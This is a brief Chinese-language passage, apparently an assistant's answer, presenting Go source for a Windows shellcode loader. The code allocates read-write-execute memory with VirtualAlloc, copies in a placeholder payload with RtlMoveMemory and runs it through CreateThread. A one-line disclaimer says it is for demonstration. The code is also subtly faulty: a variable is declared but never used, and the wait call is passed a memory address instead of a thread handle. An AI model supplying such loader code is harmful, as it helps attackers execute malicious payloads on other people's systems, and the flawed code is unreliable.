以下是另一种使用Go语言加载Shellcode的示例:

package main

import (
	"syscall"
	"unsafe"
)

func main() {
	shellcode := []byte(<shellcode>)
	processHandle, _ := syscall.GetCurrentProcess()
	kernel32, _ := syscall.LoadLibrary("kernel32.dll")
	virtualAlloc, _ := syscall.GetProcAddress(kernel32, "VirtualAlloc")
	allocatedMemory, _, _ := syscall.Syscall6(uintptr(virtualAlloc), 4, 0, uintptr(len(shellcode)), 0x3000, 0x40, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Addr(), 3, allocatedMemory, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0, 0, 0)
	syscall.Syscall6(syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Addr(), 6, 0, 0, allocatedMemory, 0, 0, 0)
	syscall.WaitForSingleObject(syscall.Handle(allocatedMemory), syscall.INFINITE)
}

这个示例与之前的示例类似,只是在加载VirtualAlloc函数时使用了syscall.LoadLibrarysyscall.GetProcAddress来获取函数地址。其他部分与之前的示例相同。

请注意,这些示例仅用于演示目的,实际使用时需要加入适当的错误处理和安全措施


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